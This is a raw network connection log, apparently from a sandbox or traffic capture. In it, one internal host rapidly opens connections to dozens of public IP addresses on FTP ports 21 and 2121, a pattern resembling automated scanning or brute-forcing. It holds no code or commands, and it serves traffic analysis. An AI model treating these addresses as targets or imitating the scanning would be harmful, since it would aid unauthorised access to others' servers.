Aug 23, 2023 09:15:54.979563951 CEST	51363	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.981070042 CEST	51366	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:54.999586105 CEST	21	51345	184.82.194.162	192.168.2.3
Aug 23, 2023 09:15:55.008697987 CEST	2121	51363	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.009947062 CEST	2121	51346	184.82.194.162	192.168.2.3
Aug 23, 2023 09:15:55.011082888 CEST	2121	51366	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.011154890 CEST	51366	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.040437937 CEST	21	51364	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.040680885 CEST	51364	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:55.050184965 CEST	21	51319	114.33.220.215	192.168.2.3
Aug 23, 2023 09:15:55.050261974 CEST	51367	2121	192.168.2.3	73.143.146.80
Aug 23, 2023 09:15:55.050909042 CEST	51368	21	192.168.2.3	219.71.170.127
Aug 23, 2023 09:15:55.051465988 CEST	51369	2121	192.168.2.3	219.71.170.127
Aug 23, 2023 09:15:55.052010059 CEST	51370	21	192.168.2.3	24.56.254.39
Aug 23, 2023 09:15:55.052561045 CEST	51371	2121	192.168.2.3	24.56.254.39
Aug 23, 2023 09:15:55.054527044 CEST	51372	21	192.168.2.3	5.186.190.79
Aug 23, 2023 09:15:55.054892063 CEST	51373	2121	192.168.2.3	5.186.190.79
Aug 23, 2023 09:15:55.054944038 CEST	51374	21	192.168.2.3	201.233.192.187
Aug 23, 2023 09:15:55.055005074 CEST	51375	2121	192.168.2.3	201.233.192.187
Aug 23, 2023 09:15:55.059679031 CEST	21	51360	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:55.059703112 CEST	21	51360	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:55.059942007 CEST	51360	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:55.080970049 CEST	51308	21	192.168.2.3	112.164.122.172
Aug 23, 2023 09:15:55.080980062 CEST	51310	21	192.168.2.3	73.12.32.172
Aug 23, 2023 09:15:55.080995083 CEST	51309	2121	192.168.2.3	112.164.122.172
Aug 23, 2023 09:15:55.080998898 CEST	51362	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:55.088953972 CEST	51376	21	192.168.2.3	217.35.29.68
Aug 23, 2023 09:15:55.093096972 CEST	21	51361	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:55.093274117 CEST	21	51361	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:55.093628883 CEST	51361	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:55.097158909 CEST	51377	2121	192.168.2.3	217.35.29.68
Aug 23, 2023 09:15:55.128474951 CEST	51378	21	192.168.2.3	125.151.182.54
Aug 23, 2023 09:15:55.159120083 CEST	51336	2121	192.168.2.3	175.113.100.10
Aug 23, 2023 09:15:55.159140110 CEST	51335	21	192.168.2.3	175.113.100.10
Aug 23, 2023 09:15:55.168996096 CEST	21	51339	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:55.169497967 CEST	51339	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:55.191826105 CEST	51379	2121	192.168.2.3	125.151.182.54
Aug 23, 2023 09:15:55.206192017 CEST	2121	51366	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.206546068 CEST	51366	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.211805105 CEST	21	51364	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.213188887 CEST	21	51364	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.213464975 CEST	51364	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:55.229212046 CEST	21	51360	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:55.229496002 CEST	21	51360	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:55.229538918 CEST	51360	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:55.229585886 CEST	51360	21	192.168.2.3	38.53.111.195
Aug 23, 2023 09:15:55.230421066 CEST	51380	21	192.168.2.3	52.97.153.230
Aug 23, 2023 09:15:55.236943007 CEST	2121	51366	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.237442017 CEST	2121	51366	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.237734079 CEST	51366	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.238246918 CEST	51381	2121	192.168.2.3	52.97.153.230
Aug 23, 2023 09:15:55.250094891 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:55.250442982 CEST	51362	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:55.270900011 CEST	2121	51366	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.271193027 CEST	51366	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.273399115 CEST	21	51361	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:55.273679972 CEST	51361	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:55.274300098 CEST	21	51361	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:55.274341106 CEST	51361	21	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:55.275156021 CEST	51382	21	192.168.2.3	217.254.197.227
Aug 23, 2023 09:15:55.284097910 CEST	51311	2121	192.168.2.3	73.12.32.172
Aug 23, 2023 09:15:55.300551891 CEST	51383	2121	192.168.2.3	217.254.197.227
Aug 23, 2023 09:15:55.303503036 CEST	2121	51366	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.303769112 CEST	51366	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.303841114 CEST	2121	51366	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.303878069 CEST	51366	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.304582119 CEST	51384	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.316517115 CEST	51385	21	192.168.2.3	183.127.235.242
Aug 23, 2023 09:15:55.335196972 CEST	2121	51366	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.338171005 CEST	2121	51384	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.338228941 CEST	51384	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.382863998 CEST	21	51339	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:55.384170055 CEST	21	51378	125.151.182.54	192.168.2.3
Aug 23, 2023 09:15:55.384457111 CEST	21	51339	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:55.384471893 CEST	21	51339	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:55.384516001 CEST	51339	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:55.384794950 CEST	51339	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:55.385581017 CEST	21	51364	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.385762930 CEST	51386	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:55.386218071 CEST	51364	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:55.396578074 CEST	21	51360	38.53.111.195	192.168.2.3
Aug 23, 2023 09:15:55.419553041 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:55.421072960 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:55.425138950 CEST	2121	51336	175.113.100.10	192.168.2.3
Aug 23, 2023 09:15:55.427237988 CEST	51387	2121	192.168.2.3	183.127.235.242
Aug 23, 2023 09:15:55.452053070 CEST	21	51361	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:55.452415943 CEST	2121	51379	125.151.182.54	192.168.2.3
Aug 23, 2023 09:15:55.452434063 CEST	21	51335	175.113.100.10	192.168.2.3
Aug 23, 2023 09:15:55.452626944 CEST	21	51361	162.214.234.163	192.168.2.3
Aug 23, 2023 09:15:55.453389883 CEST	51388	21	192.168.2.3	222.253.145.148
Aug 23, 2023 09:15:55.471617937 CEST	51343	2121	192.168.2.3	180.68.96.206
Aug 23, 2023 09:15:55.471632004 CEST	51342	21	192.168.2.3	180.68.96.206
Aug 23, 2023 09:15:55.471641064 CEST	51362	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:55.509329081 CEST	51314	21	192.168.2.3	216.78.151.113
Aug 23, 2023 09:15:55.535943985 CEST	51389	2121	192.168.2.3	222.253.145.148
Aug 23, 2023 09:15:55.539792061 CEST	51390	2121	192.168.2.3	73.59.250.177
Aug 23, 2023 09:15:55.540487051 CEST	51391	21	192.168.2.3	73.59.250.177
Aug 23, 2023 09:15:55.557674885 CEST	21	51364	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.557702065 CEST	21	51364	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.557743073 CEST	51364	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:55.557885885 CEST	51364	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:55.558485031 CEST	51392	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:55.559197903 CEST	2121	51384	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.559534073 CEST	51384	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.578769922 CEST	21	51385	183.127.235.242	192.168.2.3
Aug 23, 2023 09:15:55.581006050 CEST	51345	21	192.168.2.3	184.82.194.162
Aug 23, 2023 09:15:55.581020117 CEST	51346	2121	192.168.2.3	184.82.194.162
Aug 23, 2023 09:15:55.591362953 CEST	2121	51384	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.592129946 CEST	2121	51384	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.592510939 CEST	51384	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.597937107 CEST	21	51339	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:55.599368095 CEST	21	51386	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:55.599427938 CEST	51386	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:55.621469021 CEST	51315	2121	192.168.2.3	216.78.151.113
Aug 23, 2023 09:15:55.625725031 CEST	2121	51384	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.626029968 CEST	51384	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.639374971 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:55.639642954 CEST	51362	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:55.658277035 CEST	2121	51384	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.658293009 CEST	2121	51384	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.658358097 CEST	51384	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.658463001 CEST	51384	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.659331083 CEST	51393	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.688796997 CEST	2121	51387	183.127.235.242	192.168.2.3
Aug 23, 2023 09:15:55.691586018 CEST	2121	51384	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.693521023 CEST	2121	51393	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.693583965 CEST	51393	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.729015112 CEST	21	51364	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.729532003 CEST	21	51392	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.729598999 CEST	51392	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:55.736210108 CEST	51317	2121	192.168.2.3	162.214.234.163
Aug 23, 2023 09:15:55.751492023 CEST	2121	51343	180.68.96.206	192.168.2.3
Aug 23, 2023 09:15:55.752336025 CEST	21	51342	180.68.96.206	192.168.2.3
Aug 23, 2023 09:15:55.753515959 CEST	51394	21	192.168.2.3	77.3.56.125
Aug 23, 2023 09:15:55.754848003 CEST	51395	2121	192.168.2.3	77.3.56.125
Aug 23, 2023 09:15:55.796214104 CEST	21	51345	184.82.194.162	192.168.2.3
Aug 23, 2023 09:15:55.797043085 CEST	51396	21	192.168.2.3	147.161.169.71
Aug 23, 2023 09:15:55.804533958 CEST	2121	51346	184.82.194.162	192.168.2.3
Aug 23, 2023 09:15:55.805808067 CEST	51397	2121	192.168.2.3	147.161.169.71
Aug 23, 2023 09:15:55.809494972 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:55.811876059 CEST	21	51396	147.161.169.71	192.168.2.3
Aug 23, 2023 09:15:55.811939955 CEST	51396	21	192.168.2.3	147.161.169.71
Aug 23, 2023 09:15:55.812947989 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:55.812994003 CEST	51362	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:55.813220024 CEST	51362	21	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:55.813867092 CEST	51398	21	192.168.2.3	67.169.162.42
Aug 23, 2023 09:15:55.819263935 CEST	21	51386	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:55.819551945 CEST	51386	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:55.846559048 CEST	21	51396	147.161.169.71	192.168.2.3
Aug 23, 2023 09:15:55.846584082 CEST	21	51396	147.161.169.71	192.168.2.3
Aug 23, 2023 09:15:55.846637011 CEST	51396	21	192.168.2.3	147.161.169.71
Aug 23, 2023 09:15:55.846848965 CEST	51396	21	192.168.2.3	147.161.169.71
Aug 23, 2023 09:15:55.847727060 CEST	51399	2121	192.168.2.3	67.169.162.42
Aug 23, 2023 09:15:55.861701012 CEST	21	51396	147.161.169.71	192.168.2.3
Aug 23, 2023 09:15:55.885006905 CEST	2121	51393	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.885313034 CEST	51393	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.917186022 CEST	2121	51393	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.918095112 CEST	2121	51393	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.927999020 CEST	21	51392	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:55.929423094 CEST	51393	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.935879946 CEST	51392	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:55.962574959 CEST	2121	51393	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.962878942 CEST	51393	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.971657038 CEST	51379	2121	192.168.2.3	125.151.182.54
Aug 23, 2023 09:15:55.971667051 CEST	51378	21	192.168.2.3	125.151.182.54
Aug 23, 2023 09:15:55.984283924 CEST	21	51362	182.183.231.38	192.168.2.3
Aug 23, 2023 09:15:55.995448112 CEST	2121	51393	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.995482922 CEST	2121	51393	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:55.995522976 CEST	51393	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.995660067 CEST	51393	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:55.996500015 CEST	51400	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.027537107 CEST	2121	51400	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.027553082 CEST	2121	51393	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.027770042 CEST	51400	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.033119917 CEST	21	51386	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:56.081069946 CEST	51326	2121	192.168.2.3	168.151.79.144
Aug 23, 2023 09:15:56.081084967 CEST	51330	2121	192.168.2.3	78.81.185.148
Aug 23, 2023 09:15:56.081099033 CEST	51329	21	192.168.2.3	78.81.185.148
Aug 23, 2023 09:15:56.081106901 CEST	51322	21	192.168.2.3	62.82.33.207
Aug 23, 2023 09:15:56.081166029 CEST	51323	2121	192.168.2.3	62.82.33.207
Aug 23, 2023 09:15:56.081166029 CEST	51320	21	192.168.2.3	168.151.79.144
Aug 23, 2023 09:15:56.106862068 CEST	21	51392	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:56.108356953 CEST	21	51392	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:56.108867884 CEST	51392	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:56.159193993 CEST	51328	21	192.168.2.3	75.130.224.23
Aug 23, 2023 09:15:56.159193993 CEST	51327	2121	192.168.2.3	75.130.224.23
Aug 23, 2023 09:15:56.159250975 CEST	51385	21	192.168.2.3	183.127.235.242
Aug 23, 2023 09:15:56.222115040 CEST	2121	51400	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.223505974 CEST	51400	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.227529049 CEST	21	51378	125.151.182.54	192.168.2.3
Aug 23, 2023 09:15:56.230628014 CEST	2121	51379	125.151.182.54	192.168.2.3
Aug 23, 2023 09:15:56.254175901 CEST	2121	51400	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.254194021 CEST	2121	51400	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.255734921 CEST	51400	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.281160116 CEST	21	51392	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:56.281502008 CEST	51392	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:56.284215927 CEST	51387	2121	192.168.2.3	183.127.235.242
Aug 23, 2023 09:15:56.284451962 CEST	51333	21	192.168.2.3	50.67.40.78
Aug 23, 2023 09:15:56.288639069 CEST	2121	51400	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.289483070 CEST	51400	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.320702076 CEST	2121	51400	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.320719004 CEST	2121	51400	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.321283102 CEST	51400	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.321640968 CEST	51400	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.323982000 CEST	51401	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.350960016 CEST	2121	51400	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.357192039 CEST	2121	51401	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.362493992 CEST	51401	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.421567917 CEST	21	51385	183.127.235.242	192.168.2.3
Aug 23, 2023 09:15:56.425405979 CEST	51402	21	192.168.2.3	216.239.178.107
Aug 23, 2023 09:15:56.426137924 CEST	51403	2121	192.168.2.3	216.239.178.107
Aug 23, 2023 09:15:56.426496029 CEST	51404	21	192.168.2.3	148.170.68.179
Aug 23, 2023 09:15:56.453864098 CEST	21	51392	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:56.453893900 CEST	21	51392	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:56.454010963 CEST	51392	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:56.454545975 CEST	51392	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:56.467490911 CEST	51405	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:56.477251053 CEST	51338	2121	192.168.2.3	86.15.105.215
Aug 23, 2023 09:15:56.477328062 CEST	51337	21	192.168.2.3	86.15.105.215
Aug 23, 2023 09:15:56.477365017 CEST	51334	2121	192.168.2.3	50.67.40.78
Aug 23, 2023 09:15:56.520445108 CEST	51406	2121	192.168.2.3	148.170.68.179
Aug 23, 2023 09:15:56.520446062 CEST	51407	21	192.168.2.3	211.60.26.190
Aug 23, 2023 09:15:56.520534992 CEST	51409	2121	192.168.2.3	211.220.119.129
Aug 23, 2023 09:15:56.520576000 CEST	51408	2121	192.168.2.3	211.60.26.190
Aug 23, 2023 09:15:56.520926952 CEST	51410	21	192.168.2.3	211.220.119.129
Aug 23, 2023 09:15:56.537225008 CEST	51411	21	192.168.2.3	85.89.72.23
Aug 23, 2023 09:15:56.547100067 CEST	2121	51401	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.547553062 CEST	2121	51387	183.127.235.242	192.168.2.3
Aug 23, 2023 09:15:56.547612906 CEST	51401	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.551390886 CEST	51412	2121	192.168.2.3	85.89.72.23
Aug 23, 2023 09:15:56.551573038 CEST	51413	21	192.168.2.3	97.65.105.232
Aug 23, 2023 09:15:56.552557945 CEST	51414	2121	192.168.2.3	97.65.105.232
Aug 23, 2023 09:15:56.562798023 CEST	21	51402	216.239.178.107	192.168.2.3
Aug 23, 2023 09:15:56.563596010 CEST	2121	51403	216.239.178.107	192.168.2.3
Aug 23, 2023 09:15:56.581172943 CEST	51340	21	192.168.2.3	192.151.232.126
Aug 23, 2023 09:15:56.582614899 CEST	2121	51401	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.582842112 CEST	2121	51401	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.583477020 CEST	51401	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.618284941 CEST	2121	51401	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.618598938 CEST	51401	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.625870943 CEST	21	51392	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:56.639050961 CEST	21	51405	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:56.641514063 CEST	51405	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:56.651009083 CEST	2121	51401	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.651048899 CEST	2121	51401	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.653404951 CEST	51401	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.653600931 CEST	51401	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.657639980 CEST	51415	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.686594009 CEST	2121	51401	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.686633110 CEST	2121	51415	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.687767982 CEST	51415	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.779412031 CEST	2121	51408	211.60.26.190	192.168.2.3
Aug 23, 2023 09:15:56.784342051 CEST	51378	21	192.168.2.3	125.151.182.54
Aug 23, 2023 09:15:56.784363031 CEST	51379	2121	192.168.2.3	125.151.182.54
Aug 23, 2023 09:15:56.784365892 CEST	51341	2121	192.168.2.3	192.151.232.126
Aug 23, 2023 09:15:56.816932917 CEST	51416	21	192.168.2.3	189.144.71.138
Aug 23, 2023 09:15:56.816943884 CEST	51417	2121	192.168.2.3	189.144.71.138
Aug 23, 2023 09:15:56.838373899 CEST	21	51405	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:56.839871883 CEST	51405	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:56.879605055 CEST	2121	51415	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.883555889 CEST	51415	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.912692070 CEST	2121	51415	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.913320065 CEST	2121	51415	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.921288967 CEST	51415	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.952076912 CEST	2121	51415	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.953655005 CEST	51415	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.957263947 CEST	51385	21	192.168.2.3	183.127.235.242
Aug 23, 2023 09:15:56.983772993 CEST	2121	51415	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.983810902 CEST	2121	51415	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:56.984009981 CEST	51415	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.985321045 CEST	51415	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:56.989259005 CEST	51418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.011450052 CEST	21	51405	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.012465954 CEST	21	51405	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.012948990 CEST	51405	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:57.012996912 CEST	2121	51415	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.021589041 CEST	2121	51418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.021681070 CEST	51418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.033437967 CEST	21	51386	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:57.033723116 CEST	51386	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:57.040115118 CEST	21	51378	125.151.182.54	192.168.2.3
Aug 23, 2023 09:15:57.041579962 CEST	51419	21	192.168.2.3	94.216.154.53
Aug 23, 2023 09:15:57.043570995 CEST	2121	51379	125.151.182.54	192.168.2.3
Aug 23, 2023 09:15:57.045135975 CEST	51420	2121	192.168.2.3	94.216.154.53
Aug 23, 2023 09:15:57.066950083 CEST	51422	2121	192.168.2.3	73.51.40.168
Aug 23, 2023 09:15:57.066948891 CEST	51421	21	192.168.2.3	73.51.40.168
Aug 23, 2023 09:15:57.067528963 CEST	51423	21	192.168.2.3	178.57.228.185
Aug 23, 2023 09:15:57.081142902 CEST	51348	2121	192.168.2.3	80.76.156.239
Aug 23, 2023 09:15:57.081187963 CEST	51387	2121	192.168.2.3	183.127.235.242
Aug 23, 2023 09:15:57.081335068 CEST	51349	21	192.168.2.3	138.229.218.213
Aug 23, 2023 09:15:57.129244089 CEST	51424	2121	192.168.2.3	178.57.228.185
Aug 23, 2023 09:15:57.159316063 CEST	51402	21	192.168.2.3	216.239.178.107
Aug 23, 2023 09:15:57.161339045 CEST	51347	21	192.168.2.3	80.76.156.239
Aug 23, 2023 09:15:57.161353111 CEST	51403	2121	192.168.2.3	216.239.178.107
Aug 23, 2023 09:15:57.185285091 CEST	21	51405	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.185693026 CEST	51405	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:57.210478067 CEST	2121	51418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.210725069 CEST	51418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.220731974 CEST	21	51385	183.127.235.242	192.168.2.3
Aug 23, 2023 09:15:57.221577883 CEST	51425	21	192.168.2.3	93.90.74.51
Aug 23, 2023 09:15:57.242935896 CEST	2121	51418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.243676901 CEST	2121	51418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.244124889 CEST	51418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.247118950 CEST	21	51386	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:57.247250080 CEST	21	51386	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:57.247286081 CEST	21	51386	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:57.247343063 CEST	51386	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:57.247600079 CEST	51386	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:57.248547077 CEST	51426	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:57.251374006 CEST	21	51425	93.90.74.51	192.168.2.3
Aug 23, 2023 09:15:57.277812958 CEST	2121	51418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.278182030 CEST	51418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.284287930 CEST	51350	2121	192.168.2.3	138.229.218.213
Aug 23, 2023 09:15:57.284287930 CEST	51352	2121	192.168.2.3	182.183.231.38
Aug 23, 2023 09:15:57.296492100 CEST	21	51402	216.239.178.107	192.168.2.3
Aug 23, 2023 09:15:57.298247099 CEST	2121	51403	216.239.178.107	192.168.2.3
Aug 23, 2023 09:15:57.303323984 CEST	51408	2121	192.168.2.3	211.60.26.190
Aug 23, 2023 09:15:57.310846090 CEST	2121	51418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.310950041 CEST	2121	51418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.311005116 CEST	51418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.311124086 CEST	51418	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.311891079 CEST	51427	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.343358994 CEST	2121	51418	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.343950987 CEST	2121	51387	183.127.235.242	192.168.2.3
Aug 23, 2023 09:15:57.344023943 CEST	2121	51427	95.85.215.156	192.168.2.3
Aug 23, 2023 09:15:57.344093084 CEST	51427	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:15:57.345619917 CEST	51428	2121	192.168.2.3	93.90.74.51
Aug 23, 2023 09:15:57.358041048 CEST	21	51405	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:57.358091116 CEST	21	51405	45.136.233.16	192.168.2.3
